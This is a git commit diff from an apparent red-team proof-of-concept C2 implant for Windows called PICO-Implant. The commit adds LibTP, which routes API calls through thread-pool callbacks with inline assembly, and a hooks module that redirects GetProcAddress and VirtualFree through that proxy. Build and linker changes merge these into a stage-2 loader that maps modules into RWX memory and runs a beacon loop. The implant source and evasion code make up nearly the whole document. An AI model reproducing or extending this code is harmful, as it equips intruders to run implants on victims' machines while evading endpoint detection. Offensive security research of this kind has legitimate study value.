Implemented LibTP integration for stealthier API calls from the implant.

This commit is contained in:
pard0p
2025-11-08 22:47:21 +01:00
parent 5fbfad95ed
commit 1e55a8355c
12 changed files with 223 additions and 6 deletions
+2 -1
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@@ -54,4 +54,5 @@ dkms.conf
# debug information files
*.dwo
*.zip
*.zip
.vscode/
+2
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@@ -13,6 +13,7 @@ bin/stage1.x86.o: bin
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/guardrail.c -o bin/guardrail.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage1.c -o bin/stage1.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage2.c -o bin/stage2.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/entry.c -o bin/entry.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/transport.c -o bin/transport.x86.o
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/obfuscation.c -o bin/obfuscation.x86.o
@@ -24,6 +25,7 @@ bin/stage1.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/guardrail.c -o bin/guardrail.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage1.c -o bin/stage1.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage2.c -o bin/stage2.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/entry.c -o bin/entry.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/transport.c -o bin/transport.x64.o
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/obfuscation.c -o bin/obfuscation.x64.o
+11 -3
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@@ -10,6 +10,7 @@ PICO-Implant is a Proof of Concept C2 implant built using Position-independent C
- **Position Independent Code**: All modules built as PICOs for maximum flexibility.
- **Modular Design**: Separate modules for communication, entry point and obfuscation.
- **Remote Loading**: Stage 2 remotely loads core implant code.
- **LibTP Integration**: Hook calls from the implant itself to make API calls more stealthy.
## Architecture Overview
@@ -76,7 +77,14 @@ Implements sleep obfuscation capabilities using the **Ekko** technique.
## Future Enhancements
### Planned Features
- **PICO Management Library**: Development of a shared library for managing PICOs loaded in memory, providing better control and coordination of loaded modules.
- **LibTP Integration**: Hook NTDLL calls from the implant itself to make API calls more stealthy by using LibTP for indirect system calls.
- **PICO Management Library**: Development of a shared library for managing PICOs loaded in memory, providing better control and coordination of loaded modules.
# References
- https://github.com/rasta-mouse/LibTP
- https://github.com/pard0p/LibWinHttp
- https://tradecraftgarden.org/simplehook.html
- https://tradecraftgarden.org/simpleguard.html
- https://github.com/Cracked5pider/Ekko
+21
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@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Rasta Mouse
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+14
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@@ -0,0 +1,14 @@
CC_64=x86_64-w64-mingw32-gcc
all: libtp.x64.zip
bin:
mkdir bin
libtp.x64.zip: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -fno-ident -c src/tp.c -o bin/tp.x64.o
zip -q -j libtp.x64.zip bin/*.x64.o
clean:
rm -rf bin/*.o
rm -f libtp.x64.zip
+67
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@@ -0,0 +1,67 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "tp.h"
WINBASEAPI VOID NTAPI NTDLL$TpAllocWork (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
WINBASEAPI VOID NTAPI NTDLL$TpPostWork (PTP_WORK);
WINBASEAPI VOID NTAPI NTDLL$TpWaitForWork (PTP_WORK, BOOL);
WINBASEAPI VOID NTAPI NTDLL$TpReleaseWork (PTP_WORK);
void __attribute__((naked)) WorkCallback()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov rbx, rdx;"
"mov rax, [rbx];"
"mov rcx, [rbx + 0x8];"
"mov rdx, [rbx + 0x10];"
"mov r8, [rbx + 0x18];"
"mov r9, [rbx + 0x20];"
"mov r10, [rbx + 0x30];"
"mov [rsp + 0x30], r10;"
"mov r10, [rbx + 0x28];"
"mov [rsp + 0x28], r10;"
"jmp rax;"
".att_syntax prefix;"
);
}
VOID ProxyNtApi(NTARGS * args)
{
PTP_WORK WorkReturn = NULL;
NTDLL$TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, args, NULL);
NTDLL$TpPostWork(WorkReturn);
NTDLL$TpWaitForWork(WorkReturn, FALSE);
NTDLL$TpReleaseWork(WorkReturn);
}
+15
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@@ -0,0 +1,15 @@
#pragma once
#include <windows.h>
typedef struct {
ULONG_PTR functionPtr;
ULONG_PTR argument1;
ULONG_PTR argument2;
ULONG_PTR argument3;
ULONG_PTR argument4;
ULONG_PTR argument5;
ULONG_PTR argument6;
} NTARGS;
VOID ProxyNtApi(NTARGS * args);
+2 -1
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@@ -2,13 +2,14 @@
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread (DWORD dwExitCode);
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
WINUSERAPI int WINAPI USER32$MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);
typedef char * (*TRANSPORT_MODULE) (char * path);
typedef void (*OBFUSCATION_MODULE) (char * start_addr, int size, int time);
void go(char * stage2ptr, char * implantBase, int implantSize, char * transportModule, char * obfuscationModule) {
/* let's free our Stage 2 too */
KERNEL32$VirtualFree(stage2ptr, 0, MEM_RELEASE);
KERNEL32$VirtualFree(stage2ptr, 0, MEM_RELEASE); /* This is a hooked function */
while(1) {
((TRANSPORT_MODULE) transportModule) ("/healthcheck");
+47
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@@ -0,0 +1,47 @@
#include <windows.h>
#include "includes/tp.h"
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
} WIN32FUNCS;
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
/*
* This is an example of a hooked function that proxies through to the real API via our TP layer.
*/
int WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) {
NTARGS args = {0};
args.functionPtr = (ULONG_PTR)KERNEL32$VirtualFree;
args.argument1 = (ULONG_PTR)lpAddress;
args.argument2 = (ULONG_PTR)dwSize;
args.argument3 = (ULONG_PTR)dwFreeType;
ProxyNtApi(&args);
return 0;
}
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
char * result = (char *)GetProcAddress(hModule, lpProcName);
if ((char *)GetProcAddress == result) {
return (char *)_GetProcAddress;
}
else if ((char *)KERNEL32$VirtualFree == result) {
return (char *)_VirtualFree;
}
return result;
}
void go(WIN32FUNCS * funcs) {
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
}
+15
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@@ -0,0 +1,15 @@
#pragma once
#include <windows.h>
typedef struct {
ULONG_PTR functionPtr;
ULONG_PTR argument1;
ULONG_PTR argument2;
ULONG_PTR argument3;
ULONG_PTR argument4;
ULONG_PTR argument5;
ULONG_PTR argument6;
} NTARGS;
VOID ProxyNtApi(NTARGS * args);
+15 -1
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@@ -2,11 +2,16 @@
#include "includes/tcg.h"
char __TRANSPORTMODULE__[0] __attribute__((section("transport_module")));
char __HOOKSMODULE__[0] __attribute__((section("hooks_module")));
char * findTransportModule() {
return (char *)&__TRANSPORTMODULE__;
}
char * findHooksModule() {
return (char *)&__HOOKSMODULE__;
}
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
@@ -36,6 +41,7 @@ char * AllocateAndLoadPICO(WIN32FUNCS * funcs, char * srcPico, char * dstCode) {
return (char *)PicoEntryPoint(srcPico, dstCode);
}
typedef void (*HOOK_MODULE) (WIN32FUNCS * funcs);
typedef char * (*TRANSPORT_MODULE) (char * path);
typedef void (*IMPLANT_ENTRY) (char * stage2ptr, char * implantBase, int implantSize, char * transportModule, char * obfuscationModule);
@@ -60,10 +66,12 @@ void go(char * stage1ptr) {
VirtualFree(dstTransportCode, 0, MEM_RELEASE);
int totalSize = 100; /* padding */
int hooksModuleSize = PicoCodeSize(findHooksModule());
int implantEntrySize = PicoCodeSize(entryPICO);
int transportModuleSize = PicoCodeSize(findTransportModule());
int obfuscationModuleSize = PicoCodeSize(obfuscationPICO);
totalSize += hooksModuleSize;
totalSize += implantEntrySize;
totalSize += transportModuleSize;
totalSize += obfuscationModuleSize;
@@ -71,7 +79,13 @@ void go(char * stage1ptr) {
char * dstCode = VirtualAlloc( NULL, totalSize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
char * originalDstCode = dstCode; /* save original dstCode pointer */
char * implantEntry = AllocateAndLoadPICO(&funcs, entryPICO, dstCode);
char * hooksModule = AllocateAndLoadPICO(&funcs, findHooksModule(), dstCode);
dstCode += hooksModuleSize + 10; /* small padding */
/* Setup the hooks by the _GetProcAddress function */
((HOOK_MODULE) hooksModule) (&funcs);
char * implantEntry = AllocateAndLoadPICO(&funcs, entryPICO, dstCode);
dstCode += implantEntrySize + 10; /* small padding */
transportModule = AllocateAndLoadPICO(&funcs, findTransportModule(), dstCode);
+12
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@@ -21,6 +21,12 @@ x86:
export
link "transport_module"
load "bin/hooks.x86.o"
make object
mergelib "lib/LibTP/libtp.x86.zip"
export
link "hooks_module"
# export our COFF as a ready-to-load PICO and return to stage 1
export
@@ -37,4 +43,10 @@ x64:
export
link "transport_module"
load "bin/hooks.x64.o"
make object
mergelib "lib/LibTP/libtp.x64.zip"
export
link "hooks_module"
export